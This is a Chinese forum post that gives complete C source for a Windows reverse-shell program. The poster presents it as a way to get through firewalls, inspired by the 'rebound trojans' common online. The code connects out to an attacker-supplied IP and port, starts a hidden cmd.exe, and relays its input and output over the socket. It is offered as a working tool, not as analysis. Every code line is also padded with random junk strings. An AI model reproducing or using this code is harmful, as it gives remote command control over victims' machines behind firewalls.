社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4970阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J4=~.&6  
7!z0)Ai_>=  
/* ============================== y1@{(CDp"  
Rebound port in Windows NT I+ydVj(Op  
By wind,2006/7 wR\%tumk  
===============================*/ Z+FJ cvYx  
#include [N.4 i" Cd  
#include FzW7MW>\x  
8)'OXR0/  
#pragma comment(lib,"wsock32.lib") 1;S@XC>  
;5dJ5_}  
void OutputShell(); s}X2*o`,  
SOCKET sClient; 05$CIS>!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z GA1  
Np+<)q2  
void main(int argc,char **argv) {0QNqjue  
{ mM!Gomp  
WSADATA stWsaData; =5',obYN>c  
int nRet; :[,-wZiT~6  
SOCKADDR_IN stSaiClient,stSaiServer; D8G5,s-.  
;MR8E9  
if(argc != 3) f{G ^b&x  
{ AwUcU;"9>  
printf("Useage:\n\rRebound DestIP DestPort\n"); h 5<46!P  
return; RMDzPda.  
} !CY: XQm  
q\/ph(HF  
WSAStartup(MAKEWORD(2,2),&stWsaData); 'H zF/RKh  
5{L~e>oS9  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]]V|[g&aJ  
? 0p_/mZ  
stSaiClient.sin_family = AF_INET; PFu{OJg&  
stSaiClient.sin_port = htons(0); Rcc9Tx(zvQ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xo a1='  
3c}@_Yn  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f;x0Ho5C2  
{ Jx!#y A;  
printf("Bind Socket Failed!\n"); YZMSiDv[e  
return; C[6} 8J|  
} :Ugf3%sQ  
kZ>_m &g  
stSaiServer.sin_family = AF_INET; ))66_bech  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kc-=5l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,K 8R%B  
h'jc4mu0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "m4. _4U  
{ <Z5-?wgf9  
printf("Connect Error!"); j4k\5~yzS  
return; gF# HNv  
} Py y!B  
OutputShell(); tp*.'p-SI  
} :m]H?vq] \  
OD]`oJ|  
void OutputShell() J}BN}|Y@2  
{ ?I{L^j^#4  
char szBuff[1024]; 9sG]Q[:.]  
SECURITY_ATTRIBUTES stSecurityAttributes; xy))}c%  
OSVERSIONINFO stOsversionInfo; >J*x` a3Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ct`j7[  
STARTUPINFO stStartupInfo; rP|~d}+I  
char *szShell; #9zpJ\E  
PROCESS_INFORMATION stProcessInformation; y)vK=,"  
unsigned long lBytesRead; GZH{"_$  
B>.x@(}V~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); & OYo  
x<5ARK6\=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %|j`z?i|  
stSecurityAttributes.lpSecurityDescriptor = 0; y^Uh<L0M  
stSecurityAttributes.bInheritHandle = TRUE; U}@xMt8@l  
*IX<&u#  
v|\3FEu@  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `>)[UG!:|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2Pow-o*r  
)G#mC0?PV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ];xDXQd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qYoB;gp  
stStartupInfo.wShowWindow = SW_HIDE; ^G|* =~_  
stStartupInfo.hStdInput = hReadPipe; bd]9 kRq1K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4>A|2+K\  
!]5}N^X  
GetVersionEx(&stOsversionInfo); @<NuuYQ&  
Xii>?sA5Z"  
switch(stOsversionInfo.dwPlatformId) y+3+iT@i  
{ t:MSV?  
case 1: v5>A1\  
szShell = "command.com"; [?%q,>F  
break; e,N}z  
default: is }>+&_  
szShell = "cmd.exe"; ]Hp>~Zvbb  
break; G/*;h,NbNr  
} DA1?M'N  
B*Q9g r  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o?Aj6fNY?  
Z1#u&oX  
send(sClient,szMsg,77,0); ~8s2p%~  
while(1) <d @9[]  
{ >-w(P/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &&nbdu  
if(lBytesRead) Ve2{;`t  
{ jp_|pC'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p^CTHk_|  
send(sClient,szBuff,lBytesRead,0); #x;,RPw5  
}  />Q}0H g  
else aaP_^m O  
{ NV7k@7_{B  
lBytesRead=recv(sClient,szBuff,1024,0); q3AqU?f  
if(lBytesRead<=0) break; s1q8r!2\w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +D@5zq:5  
} rtS' 90`  
} l+[:Cni  
R&9FdM3K`:  
return; w lH\w?  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八